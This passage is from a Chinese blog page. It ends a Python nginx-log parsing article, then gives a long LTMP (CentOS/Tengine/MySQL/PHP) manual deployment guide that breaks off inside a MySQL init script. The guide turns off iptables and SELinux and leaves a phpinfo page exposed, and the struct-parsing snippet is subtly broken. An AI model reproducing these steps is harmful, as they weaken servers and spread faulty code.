    param = r"?P<param>.*"
    p = re.compile(r"/report\?(%s)" %param, re.VERBOSE)
    return re.findall(p, rqst)



接下来需要根据业务协议解析参数内容。这里需要先利用base64模块解码，然后再利用struct模块解构内容：


import struct
import base64


def parseparam(param):
    decodeinfo = base64.b64decode(param)
    s = struct.Struct('!x' + bytes(len(decodeinfo) - (1 + 4 + 4 + 12)) + 'xii12x')
    return s.unpack(decodeinfo)



解析userAgent


在日志信息原始数据中userAgent数据的格式为：


XXX; XXX; XXX; XXX



根据业务要求，只需要取出最后一项即可。

这里采用re模块来解析。


import re


def parseuseragent(useragent):
    agent = r"?P<agent>.*"
    p = re.compile(r".*;.*;.*;(%s)" %agent, re.VERBOSE)
    return re.findall(p, useragent)





至此，nginx日志文件解析基本完成。

剩下的工作就是根据业务需要，对获得的基本信息进行处理。

（完）


 LTMP手动编译安装以及全自动化部署实践
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前言


现在很多朋友都了解或者已经在使用LNMP架构，一般可以理解为Linux Shell为CentOS/RadHat/Fedora/Debian/Ubuntu/等平台安装LNMP(Nginx/MySQL/PHP)，LNMPA(Nginx/MySQL/PHP/Apache)，LAMP(Apache/MySQL/PHP)等类似的开发或生产环境。我自己是从SuSE/Oracle商业化环境走出来的，对于开源的部署方案也是在一点一点摸索，我相信其中也必然包含某些坑爹的配置。这篇文章较为详细的描述了基于LTMP架构的部署过程，之后会再考虑独立各个模块分享细节和技巧，如果大家有更合适的配置实践手册欢迎一起分享，文章中的错误和改进点也请帮忙指点下哈。



  LTMP(CentOS/Tengine/MySQL/PHP)






更新历史


2015年08月04日 - 初稿


阅读原文 - http://wsgzao.github.io/post/ltmp/


扩展阅读


CentOS - http://www.centos.org/

Tengine - http://tengine.taobao.org/

Nginx - http://nginx.org/en/docs/

MySQL - http://www.mysql.com/

PHP - http://php.net/




LTMP版本



	CentOS_6.5_64

	Tengine-2.1.0

	MySQL_5.6.25

	PHP_5.5.27

	Apache_2.2.31(酱油)



准备工作



  如果允许公网访问会方便很多




bash#优化History历史记录
vi /etc/bashrc

#设置保存历史命令的文件大小
export HISTFILESIZE=1000000000
#保存历史命令条数
export HISTSIZE=1000000
#实时记录历史命令，默认只有在用户退出之后才会统一记录，很容易造成多个用户间的相互覆盖。
export PROMPT_COMMAND="history -a"
#记录每条历史命令的执行时间
export HISTTIMEFORMAT="%Y-%m-%d_%H:%M:%S "

#设置时区（可选）
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

#禁用NetworkManager（可选）
/etc/init.d/NetworkManager stop
chkconfig NetworkManager off
/etc/init.d/network restart

#关闭iptables（可选） 
/etc/init.d/iptables stop
chkconfig iptables off

#设置dns（可选）
echo "nameserver 114.114.114.114" > /etc/resolv.conf 

#关闭maildrop
#cd /var/spool/postfix/maildrop;ls | xargs rm -rf; 
sed 's/MAILTO=root/MAILTO=""/g' /etc/crontab
service crond restart

#关闭selinux
setenforce 0
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config  


#文件打开数量，
echo ulimit -SHn 65535 >> /etc/profile
source /etc/profile

#修改最大进程和最大文件打开数限制
vi /etc/security/limits.conf
* soft nproc 11000
* hard nproc 11000
* soft nofile 655350
* hard nofile 655350

sed -i -e '/# End of file/i\* soft  nofile 65535\n* hard nofile 65535'  /etc/security/limits.conf

#优化TCP
vi /etc/sysctl.conf

net.ipv4.ip_forward = 0  
net.ipv4.conf.default.rp_filter = 1  
net.ipv4.conf.default.accept_source_route = 0  
kernel.sysrq = 0  
kernel.core_uses_pid = 1  
#开启SYN Cookies，当出现SYN等待队列溢出时，启用cookies来处理
net.ipv4.tcp_syncookies = 1  
kernel.msgmnb = 65536  
kernel.msgmax = 65536  
kernel.shmmax = 68719476736  
kernel.shmall = 4294967296  
#timewait的数量，默认是180000
net.ipv4.tcp_max_tw_buckets = 6000  
net.ipv4.tcp_sack = 1  
net.ipv4.tcp_window_scaling = 1  
net.ipv4.tcp_rmem = 4096 87380 4194304   
net.ipv4.tcp_wmem = 4096 16384 4194304   
net.core.wmem_default = 8388608  
net.core.rmem_default = 8388608  
net.core.rmem_max = 16777216  
net.core.wmem_max = 16777216  
#每个网络接口接收数据包的速率比内核处理这些包的速率快时，允许送到队列的数据包的最大数目
net.core.netdev_max_backlog = 262144  
#web应用中listen函数的backlog默认会给我们内核参数的net.core.somaxconn限制到128，而nginx定义的NGX_LISTEN_BACKLOG默认为511，所以有必要调整这个值
net.core.somaxconn = 262144  
#系统中最多有多少个TCP套接字不被关联到任何一个用户文件句柄上。如果超过这个数字，孤儿连接将即刻被复位并打印出警告信息。这个限制仅仅是为了防止简单的DoS攻击，不能过分依靠它或者人为地减小这个值，更应该增加这个值(如果增加了内存之后)     
net.ipv4.tcp_max_orphans = 3276800  
#记录的那些尚未收到客户端确认信息的连接请求的最大值。对于有128M内存的系统而言，缺省值是1024，小内存的系统则是128
net.ipv4.tcp_max_syn_backlog = 262144  
#时间戳可以避免序列号的卷绕。一个1Gbps的链路肯定会遇到以前用过的序列号。时间戳能够让内核接受这种“异常”的数据包。这里需要将其关掉
net.ipv4.tcp_timestamps = 0  
#为了打开对端的连接，内核需要发送一个SYN并附带一个回应前面一个SYN的ACK。也就是所谓三次握手中的第二次握手。这个设置决定了内核放弃连接之前发送SYN+ACK包的数量
net.ipv4.tcp_synack_retries = 1  
#在内核放弃建立连接之前发送SYN包的数量
net.ipv4.tcp_syn_retries = 1  
#启用timewait快速回收     
net.ipv4.tcp_tw_recycle = 1  
#开启重用，允许将TIME-WAIT sockets重新用于新的TCP连接
net.ipv4.tcp_tw_reuse = 1  
net.ipv4.tcp_mem = 94500000 915000000 927000000   
#如果套接字由本端要求关闭，这个参数决定了它保持在FIN-WAIT-2状态的时间。对端可以出错并永远不关闭连接，甚至意外当机。缺省值是60 秒。2.2 内核的通常值是180秒，你可以按这个设置，但要记住的是，即使你的机器是一个轻载的WEB服务器，也有因为大量的死套接字而内存溢出的风险，FIN- WAIT-2的危险性比FIN-WAIT-1要小，因为它最多只能吃掉1.5K内存，但是它们的生存期长些。
net.ipv4.tcp_fin_timeout = 1  
#当keepalive起用的时候，TCP发送keepalive消息的频度。缺省是2小时。
net.ipv4.tcp_keepalive_time = 30  
#允许系统打开的端口范围
net.ipv4.ip_local_port_range = 1024 65000 
#表示文件句柄的最大数量
fs.file-max = 102400

#云主机上的优化

# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and
# sysctl.conf(5) for more details.

# Controls IP packet forwarding
net.ipv4.ip_forward = 0

# Controls source route verification
net.ipv4.conf.default.rp_filter = 1

# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0

# Controls the System Request debugging functionality of the kernel

# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1

# Controls the use of TCP syncookies
net.ipv4.tcp_syncookies = 1

# Disable netfilter on bridges.
net.bridge.bridge-nf-call-ip6tables = 0
net.bridge.bridge-nf-call-iptables = 0
net.bridge.bridge-nf-call-arptables = 0

# Controls the default maxmimum size of a mesage queue
kernel.msgmnb = 65536

# Controls the maximum size of a message, in bytes
kernel.msgmax = 65536

# Controls the maximum shared segment size, in bytes
kernel.shmmax = 68719476736

# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 4294967296
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.netfilter.nf_conntrack_max = 1000000
kernel.unknown_nmi_panic = 0
kernel.sysrq = 0
fs.file-max = 1000000
vm.swappiness = 10
fs.inotify.max_user_watches = 10000000
net.core.wmem_max = 327679
net.core.rmem_max = 327679
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

/sbin/sysctl -p

#自动选择最快的yum源
yum -y install yum-fastestmirror

#移除系统自带的rpm包的http mysql php
#yum remove httpd* php*
yum remove httpd mysql mysql-server php php-cli php-common php-devel php-gd  -y

#升级基础库
yum install -y wget gcc gcc-c++ openssl* curl curl-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel gd gd2 gd-devel gd2-devel libaio autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel 

#yum安装基础必备环境包，可以先将yum源更换为阿里云的源
阿里：http://mirrors.aliyun.com/ 
搜狐：http://mirrors.sohu.com/ 
网易：http://mirrors.163.com/

#备份原先的yum源信息
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

#从阿里云镜像站下载centos6的repo
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo

#最后yum重新生成缓存
yum makecache

#yum安装软件包（可选）
yum -y install tar zip unzip openssl* gd gd-devel gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel openldap-clients openldap-servers make libmcrypt libmcrypt-devel fontconfig fontconfig-devel libXpm* libtool* libxml2 libxml2-devel t1lib t1lib-devel



#定义目录结构，下载安装包
mkdir -p /app/{local,data}
cd /app/local

#PCRE - Perl Compatible Regular Expressions
wget "ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.37.tar.gz"
#Tengine
wget "http://tengine.taobao.org/download/tengine-2.1.0.tar.gz"
#MySQL
wget "https://downloads.mariadb.com/archives/mysql-5.6/mysql-5.6.25-linux-glibc2.5-x86_64.tar.gz"
#PHP
wget "http://cn2.php.net/distributions/php-5.6.11.tar.gz"
#Mhash
wget "http://downloads.sourceforge.net/mhash/mhash-0.9.9.9.tar.gz"
#libmcrypt
wget "http://downloads.sourceforge.net/mcrypt/libmcrypt-2.5.8.tar.gz"
#Mcrypt
wget "http://downloads.sourceforge.net/mcrypt/mcrypt-2.6.8.tar.gz"




配置Tengine


安装PCRE


bashtar zxvf pcre-8.37.tar.gz
cd pcre-8.37
./configure
make && make install
cd ../




安装Tengine


bash#添加www用户和组
groupadd www
useradd -g www www
#安装Tengine
tar zxvf tengine-2.1.0.tar.gz
cd tengine-2.1.0

./configure --user=www --group=www \
--prefix=/app/local/nginx \
--with-http_stub_status_module \
--with-http_ssl_module \
--with-pcre=/app/local/pcre-8.37

make && make install
cd ../




配置Nginx



  Nginx配置文件的优化很重要，理解每一步的意义




bash#修改nginx.conf
vi /app/local/nginx/conf/nginx.conf

#用户和用户组
user  www www;
#工作进程，一般可以按CPU核数设定
worker_processes  auto;
worker_cpu_affinity auto;
#全局错误日志级别
# [ debug | info | notice | warn | error | crit ]
error_log  logs/error.log  error;
#PID文件位置
pid  logs/nginx.pid;
#更改worker进程的最大打开文件数限制，避免"too many open files"
worker_rlimit_nofile 65535;

#events事件指令是设定Nginx的工作模式及连接数上限
events{
     #epoll是Linux首选的高效工作模式
     use epoll;
     #告诉nginx收到一个新连接通知后接受尽可能多的连接
     multi_accept on;
     #用于定义Nginx每个进程的最大连接数
     worker_connections      65536;
}

#HTTP模块控制着nginx http处理的所有核心特性
http {
    include       mime.types;
    #设置文件使用的默认的MIME-type
    default_type  application/octet-stream;


    #对日志格式的设定，main为日志格式别名
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
    #设置nginx是否将存储访问日志。关闭这个选项可以让读取磁盘IO操作更快
    access_log off;
    # access_log logs/access.log main buffer=16k;

    #开启gzip压缩，实时压缩输出数据流
    gzip on;
    #设置IE6或者更低版本禁用gzip功能
    gzip_disable "MSIE [1-6]\.";
    #前端的缓存服务器缓存经过gzip压缩的页面
    gzip_vary on;
    #允许压缩基于请求和响应的响应流
    gzip_proxied any;
    #设置数据的压缩等级
    gzip_comp_level 4;
    #设置对数据启用压缩的最少字节数
    gzip_min_length 1k;
    #表示申请16个单位为64K的内存作为压缩结果流缓存
    gzip_buffers 16 64k;
    #用于设置识别HTTP协议版本
    gzip_http_version 1.1;
    #用来指定压缩的类型
    gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;


    #打开缓存的同时也指定了缓存最大数目，以及缓存的时间
    open_file_cache max=200000 inactive=20s;
    #在open_file_cache中指定检测正确信息的间隔时间
    open_file_cache_valid 30s;
    #定义了open_file_cache中指令参数不活动时间期间里最小的文件数
    open_file_cache_min_uses 2;
    #指定了当搜索一个文件时是否缓存错误信息，也包括再次给配置中添加文件
    open_file_cache_errors on; 

    #设置允许客户端请求的最大的单个文件字节数
    client_max_body_size 30M;
    #设置客户端请求主体读取超时时间
    client_body_timeout 10;
    #设置客户端请求头读取超时时间
    client_header_timeout 10;
    #指定来自客户端请求头的headerbuffer大小
    client_header_buffer_size 32k;
    #设置客户端连接保持活动的超时时间
    keepalive_timeout 60;
    #关闭不响应的客户端连接
    reset_timedout_connection on;
    #设置响应客户端的超时时间
    send_timeout 10;
    #开启高效文件传输模式
    sendfile on;
    #告诉nginx在一个数据包里发送所有头文件，而不一个接一个的发送
    tcp_nopush on;
    #告诉nginx不要缓存数据，而是一段一段的发送
    tcp_nodelay on;
    #设置用于保存各种key（比如当前连接数）的共享内存的参数
    limit_conn_zone $binary_remote_addr zone=addr:5m; 
    #给定的key设置最大连接数，允许每一个IP地址最多同时打开有100个连接
    limit_conn addr 100; 

    #FastCGI相关参数是为了改善网站的性能：减少资源占用，提高访问速度
    fastcgi_buffers 256 16k;
    fastcgi_buffer_size 128k;
    fastcgi_connect_timeout 3s;
    fastcgi_send_timeout 120s;
    fastcgi_read_timeout 120s;
    server_names_hash_bucket_size 128;
    #不在error_log中记录不存在的错误
    log_not_found off;
    #关闭在错误页面中的nginx版本数字，提高安全性
    #server_tag Apache;
    server_tokens off;
    #tengine
    server_tag off;
    server_info off;

    #添加虚拟主机的配置文件
    include vhosts/*.conf;

    #负载均衡配置（暂时略过）
    #upstream test.com

    #设定虚拟主机配置
    server {
        #侦听80端口
        listen       80;
        #定义使用localhost访问
        server_name  localhost;
        #定义首页索引文件的名称
        index index.html index.htm index.php;
        #定义服务器的默认网站根目录位置
        root    /app/data/localhost/;

        #定义错误提示页面
        error_page  404              /404.html;
        error_page  500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }

        #PHP 脚本请求全部转发到 FastCGI处理. 使用FastCGI默认配置.     
        location ~ .*\.(php|php5)?$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi.conf;
        }

        #静态文件
        location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|ico)$
        {
            #过期30天，频繁更新可设置小一点
            expires      30d;
        }

        location ~ .*\.(js|css)?$
        {
            #过期1小时，不更新可设置大一些
            expires      1h;
        }
        #禁止访问
        location ~ /\. {
            deny all;
        }
    }
}





  简化配置文件

  vi /app/local/nginx/conf/nginx.conf




bash
user  www www;
worker_processes auto;
worker_cpu_affinity auto;

error_log  logs/error.log  crit;
pid        logs/nginx.pid;

worker_rlimit_nofile 51200;
events
{
    use epoll;
    multi_accept on;
    worker_connections 51200;
}

http
{
    include       mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log off;
    #access_log logs/access.log main buffer=16k;

    server_names_hash_bucket_size 128;
    client_header_buffer_size 32k;
    large_client_header_buffers 4 32k;
    client_max_body_size 50M; 

    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 60; 
    server_tokens off;
    server_tag off;
    server_info off;

    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
    fastcgi_buffer_size 64k;
    fastcgi_buffers 4 64k;
    fastcgi_busy_buffers_size 128k;
    fastcgi_temp_file_write_size 256k;

    #gzip on;
    #gzip_min_length  1k;
    #gzip_buffers     4 16k;
    #gzip_http_version 1.1;
    #gzip_comp_level 5;
    #gzip_types       text/plain application/x-javascript text/css application/xml;
    #gzip_vary on;

    include vhosts/*.conf;
}





  分离server写入vhosts

  mkdir -p  /app/local/nginx/conf/vhosts/

  vi /app/local/nginx/conf/vhosts/localhost.conf




bashserver {
    listen       80;
    server_name  localhost;
    index index.php index.html index.htm;
    access_log  logs/localhost.log  main;

    root    /app/data/localhost/;

    location / {
        index  index.php index.html index.htm;
    }

    #error_page  404              /404.html;
    #error_page  500 502 503 504  /50x.html;

    location = /50x.html {
        root   html;
    }

    location ~ .*\.(php|php5)?$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
      #fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi.conf;
    }

    location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|ico)$
    {
        expires      30d;
    }

    location ~ .*\.(js|css)?$
    {
        expires      1h;
    }

    location ~ /\. {
        deny all;
    }
}




bash#检查语法
/app/local/nginx/sbin/nginx -t
# ./nginx -t
the configuration file /app/local/nginx/conf/nginx.conf syntax is ok
configuration file /app/local/nginx/conf/nginx.conf test is successful

#测试用例
mkdir -p /app/data/localhost
chmod +w /app/data/localhost
echo "<?php phpinfo();?>" > /app/data/localhost/phpinfo.php
chown -R www:www /app/data/localhost

#设置nginx系统变量
echo 'export PATH=$PATH:/app/local/nginx/sbin'>>/etc/profile && source /etc/profile

#测试访问
curl -I http://localhost

HTTP/1.1 200 OK
Server: Tengine/2.1.0
Date: Mon, 27 Jul 2015 06:42:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.11





添加Tengine到服务



  配置服务后便于统一管理

  vi /etc/rc.d/init.d/nginx




bash#!/bin/sh

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ "$NETWORKING" = "no" ] && exit 0

nginx="/app/local/nginx/sbin/nginx"
prog=$(basename $nginx)

NGINX_CONF_FILE="/app/local/nginx/conf/nginx.conf"

[ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx

lockfile=/var/lock/subsys/nginx

make_dirs() {
   # make required directories
   user=`$nginx -V 2>&1 | grep "configure arguments:" | sed 's/[^*]*--user=\([^ ]*\).*/\1/g' -`
   if [ -z "`grep $user /etc/passwd`" ]; then
       useradd -M -s /bin/nologin $user
   fi
   options=`$nginx -V 2>&1 | grep 'configure arguments:'`
   for opt in $options; do
       if [ `echo $opt | grep '.*-temp-path'` ]; then
           value=`echo $opt | cut -d "=" -f 2`
           if [ ! -d "$value" ]; then
               # echo "creating" $value
               mkdir -p $value && chown -R $user $value
           fi
       fi
   done
}

start() {
    [ -x $nginx ] || exit 5
    [ -f $NGINX_CONF_FILE ] || exit 6
    make_dirs
    echo -n $"Starting $prog: "
    daemon $nginx -c $NGINX_CONF_FILE
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog -QUIT
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    configtest || return $?
    stop
    sleep 1
    start
}

reload() {
    configtest || return $?
    echo -n $"Reloading $prog: "
    killproc $nginx -HUP
    RETVAL=$?
    echo
}

force_reload() {
    restart
}

configtest() {
  $nginx -t -c $NGINX_CONF_FILE
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}

case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart|configtest)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
            ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}"
        exit 2
esac




bash#修改执行权限
chmod +x /etc/init.d/nginx
ulimit -SHn 65535
service nginx start




安装MySQL



  注意目录和字符集等配置文件




bash#解压mysql
mkdir -p /app/local/mysql
tar zxvf mysql-5.6.25-linux-glibc2.5-x86_64.tar.gz
mv mysql-5.6.25-linux-glibc2.5-x86_64/* /app/local/mysql
#增加mysql用户组
groupadd mysql
useradd -g mysql mysql
mkdir -p /app/data/mysql/data/
mkdir -p /app/data/mysql/binlog/
mkdir -p /app/data/mysql/relaylog/
chown -R mysql:mysql /app/data/mysql/
 #安装mysql
/app/local/mysql/scripts/mysql_install_db --basedir=/app/local/mysql --datadir=/app/data/mysql/data --user=mysql
#修改mysqld_safe配置路径
sed -i "s#/usr/local/mysql#/app/local/mysql#g" /app/local/mysql/bin/mysqld_safe




bash
#修改my.cnf配置文件
vi /app/local/mysql/my.cnf

[client]
character-set-server = utf8
port = 3306
socket = /tmp/mysql.sock

[mysql]
#prompt="(\u:HOSTNAME:)[\d]> "
prompt="\u@\h \R:\m:\s [\d]> "
no-auto-rehash

[mysqld]
server-id = 1
port = 3306
user = mysql
basedir = /app/local/mysql
datadir = /app/data/mysql/data
socket = /tmp/mysql.sock
log-error = /app/data/mysql/mysql_error.log
pid-file = /app/data/mysql/mysql.pid
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

default-storage-engine = InnoDB
max_connections = 512
max_connect_errors = 100000
table_open_cache = 512
external-locking = FALSE
max_allowed_packet = 32M
slow_query_log = 1
slow_query_log_file = /app/data/mysql/slow.log

open_files_limit = 10240
back_log = 600
join_buffer_size = 2M
read_rnd_buffer_size = 16M
sort_buffer_size = 2M
thread_cache_size = 300
query_cache_size = 128M
query_cache_limit = 2M
query_cache_min_res_unit = 2k
thread_stack = 192K
transaction_isolation = READ-COMMITTED
tmp_table_size = 246M
max_heap_table_size = 246M
long_query_time = 3
log-slave-updates
log-bin = /app/data/mysql/binlog/binlog
sync_binlog = 1
binlog_cache_size = 4M
binlog_format = MIXED
max_binlog_cache_size = 8M
max_binlog_size = 1G
relay-log-index = /app/data/mysql/relaylog/relaylog
relay-log-info-file = /app/data/mysql/relaylog/relaylog
relay-log = /app/data/mysql/relaylog/relaylog
expire_logs_days = 7
key_buffer_size = 128M
read_buffer_size = 1M
read_rnd_buffer_size = 16M
bulk_insert_buffer_size = 64M
myisam_sort_buffer_size = 128M
myisam_max_sort_file_size = 10G
myisam_repair_threads = 1
myisam_recover

innodb_additional_mem_pool_size = 16M
innodb_buffer_pool_size = 256M
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_flush_log_at_trx_commit = 1
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 2
innodb_max_dirty_pages_pct = 50
innodb_file_per_table = 1
innodb_locks_unsafe_for_binlog = 0

interactive_timeout = 120
wait_timeout = 120

skip-name-resolve
slave-skip-errors = 1032,1062,126,1114,1146,1048,1396

[mysqldump]
quick
max_allowed_packet = 32M




bash
#添加mysql到服务
vi /etc/rc.d/init.d/mysqld

#!/bin/sh
basedir=/app/local/mysql
datadir=/app/data/mysql/data
service_startup_timeout=900
lockdir='/var/lock/subsys'
lock_file_path="$lockdir/mysql"
mysqld_pid_file_path=/app/data/mysql/mysql.pid
if test -z "$basedir"
then
  basedir=/usr/local/mysql
  bindir=/usr/local/mysql/bin
  if test -z "$datadir"
  then
    datadir=/usr/local/mysql/data
  fi
  sbindir=/usr/local/mysql/bin
  libexecdir=/usr/local/mysql/bin
else
  bindir="$basedir/bin"
  if test -z "$datadir"
  then
    datadir="$basedir/data"
  fi
  sbindir="$basedir/sbin"
  libexecdir="$basedir/libexec"
fi
datadir_set=
lsb_functions="/lib/lsb/init-functions"
if test -f $lsb_functions ; then
  . $lsb_functions
else
  log_success_msg()
  {
    echo " SUCCESS! $@"
  }
  log_failure_msg()
  {
    echo " ERROR! $@"
  }
fi

PATH="/sbin:/usr/sbin:/bin:/usr/bin:$basedir/bin"
export PATH

mode=$1    # start or stop

[ $# -ge 1 ] && shift


other_args="$*"   # uncommon, but needed when called from an RPM upgrade action
           # Expected: "--skip-networking --skip-grant-tables"
           # They are not checked here, intentionally, as it is the resposibility
           # of the "spec" file author to give correct arguments only.

case `echo "testing\c"`,`echo -n testing` in
    *c*,-n*) echo_n=   echo_c=     ;;
    *c*,*)   echo_n=-n echo_c=     ;;
    *)       echo_n=   echo_c='\c' ;;
esac

parse_server_arguments() {
  for arg do
    case "$arg" in
      --basedir=*)  basedir=`echo "$arg" | sed -e 's/^[^=]*=//'`
                    bindir="$basedir/bin"
            if test -z "$datadir_set"; then
              datadir="$basedir/data"
            fi
            sbindir="$basedir/sbin"
            libexecdir="$basedir/libexec"
        ;;
      --datadir=*)  datadir=`echo "$arg" | sed -e 's/^[^=]*=//'`
            datadir_set=1
    ;;
      --pid-file=*) mysqld_pid_file_path=`echo "$arg" | sed -e 's/^[^=]*=//'` ;;
      --service-startup-timeout=*) service_startup_timeout=`echo "$arg" | sed -e 's/^[^=]*=//'` ;;
    esac
  done
}

wait_for_pid () {
  verb="$1"           # created | removed
  pid="$2"            # process ID of the program operating on the pid-file
  pid_file_path="$3" # path to the PID file.

  i=0
  avoid_race_condition="by checking again"

  while test $i -ne $service_startup_timeout ; do

    case "$verb" in
      'created')
        # wait for a PID-file to pop into existence.
        test -s "$pid_file_path" && i='' && break
        ;;
      'removed')
        # wait for this PID-file to disappear
        test ! -s "$pid_file_path" && i='' && break
        ;;
      *)
        echo "wait_for_pid () usage: wait_for_pid created|removed pid pid_file_path"
        exit 1
        ;;
    esac

    # if server isn't running, then pid-file will never be updated
    if test -n "$pid"; then
      if kill -0 "$pid" 2>/dev/null; then
        :  # the server still runs
      else
        # The server may have exited between the last pid-file check and now.  
        if test -n "$avoid_race_condition"; then
          avoid_race_condition=""
          continue  # Check again.
        fi

        # there's nothing that will affect the file.
        log_failure_msg "The server quit without updating PID file ($pid_file_path)."
        return 1  # not waiting any more.
      fi
    fi

    echo $echo_n ".$echo_c"
    i=`expr $i + 1`
    sleep 1

  done

  if test -z "$i" ; then
    log_success_msg
    return 0
  else
    log_failure_msg
    return 1
  fi
}

# Get arguments from the my.cnf file,
# the only group, which is read from now on is [mysqld]
if test -x ./bin/my_print_defaults
then
  print_defaults="./bin/my_print_defaults"
elif test -x $bindir/my_print_defaults
then
  print_defaults="$bindir/my_print_defaults"
elif test -x $bindir/mysql_print_defaults
then
  print_defaults="$bindir/mysql_print_defaults"
else
  # Try to find basedir in /etc/my.cnf
  conf=/etc/my.cnf
  print_defaults=
  if test -r $conf
  then
    subpat='^[^=]*basedir[^=]*=\(.*\)$'
    dirs=`sed -e "/$subpat/!d" -e 's//\1/' $conf`
    for d in $dirs
    do
      d=`echo $d | sed -e 's/[     ]//g'`
      if test -x "$d/bin/my_print_defaults"
      then
        print_defaults="$d/bin/my_print_defaults"
        break
      fi
      if test -x "$d/bin/mysql_print_defaults"
      then
        print_defaults="$d/bin/mysql_print_defaults"
        break
      fi
    done
  fi

  # Hope it's in the PATH ... but I doubt it
  test -z "$print_defaults" && print_defaults="my_print_defaults"
fi

#
# Read defaults file from 'basedir'.   If there is no defaults file there
# check if it's in the old (depricated) place (datadir) and read it from there
#

extra_args=""
if test -r "$basedir/my.cnf"
then
  extra_args="-e $basedir/my.cnf"
else
  if test -r "$datadir/my.cnf"
  then
    extra_args="-e $datadir/my.cnf"
  fi
fi

parse_server_arguments `$print_defaults $extra_args mysqld server mysql_server mysql.server`

#
# Set pid file if not given
#
if test -z "$mysqld_pid_file_path"
then
  mysqld_pid_file_path=$datadir/`hostname`.pid
else
  case "$mysqld_pid_file_path" in
    /* ) ;;
    * )  mysqld_pid_file_path="$datadir/$mysqld_pid_file_path" ;;
  esac
fi

case "$mode" in
  'start')
    # Start daemon

    # Safeguard (relative paths, core dumps..)
    cd $basedir

    echo $echo_n "Starting MySQL"
    if test -x $bindir/mysqld_safe
    then
      # Give extra arguments to mysqld with the my.cnf file. This script
      # may be overwritten at next upgrade.
      $bindir/mysqld_safe --datadir="$datadir" --pid-file="$mysqld_pid_file_path" $other_args >/dev/null 2>&1 &
      wait_for_pid created "$!" "$mysqld_pid_file_path"; return_value=$?

      # Make lock for RedHat / SuSE
      if test -w "$lockdir"
      then
        touch "$lock_file_path"
      fi

      exit $return_value
    else
      log_failure_msg "Couldn't find MySQL server ($bindir/mysqld_safe)"
    fi
    ;;

  'stop')
    # Stop daemon. We use a signal here to avoid having to know the
    # root password.

    if test -s "$mysqld_pid_file_path"
    then
      mysqld_pid=`cat "$mysqld_pid_file_path"`

      if (kill -0 $mysqld_pid 2>/dev/null)
      then
        echo $echo_n "Shutting down MySQL"
        kill $mysqld_pid
        # mysqld should remove the pid file when it exits, so wait for it.
        wait_for_pid removed "$mysqld_pid" "$mysqld_pid_file_path"; return_value=$?
      else
        log_failure_msg "MySQL server process #$mysqld_pid is not running!"
        rm "$mysqld_pid_file_path"
      fi

      # Delete lock for RedHat / SuSE
      if test -f "$lock_file_path"
      then
        rm -f "$lock_file_path"
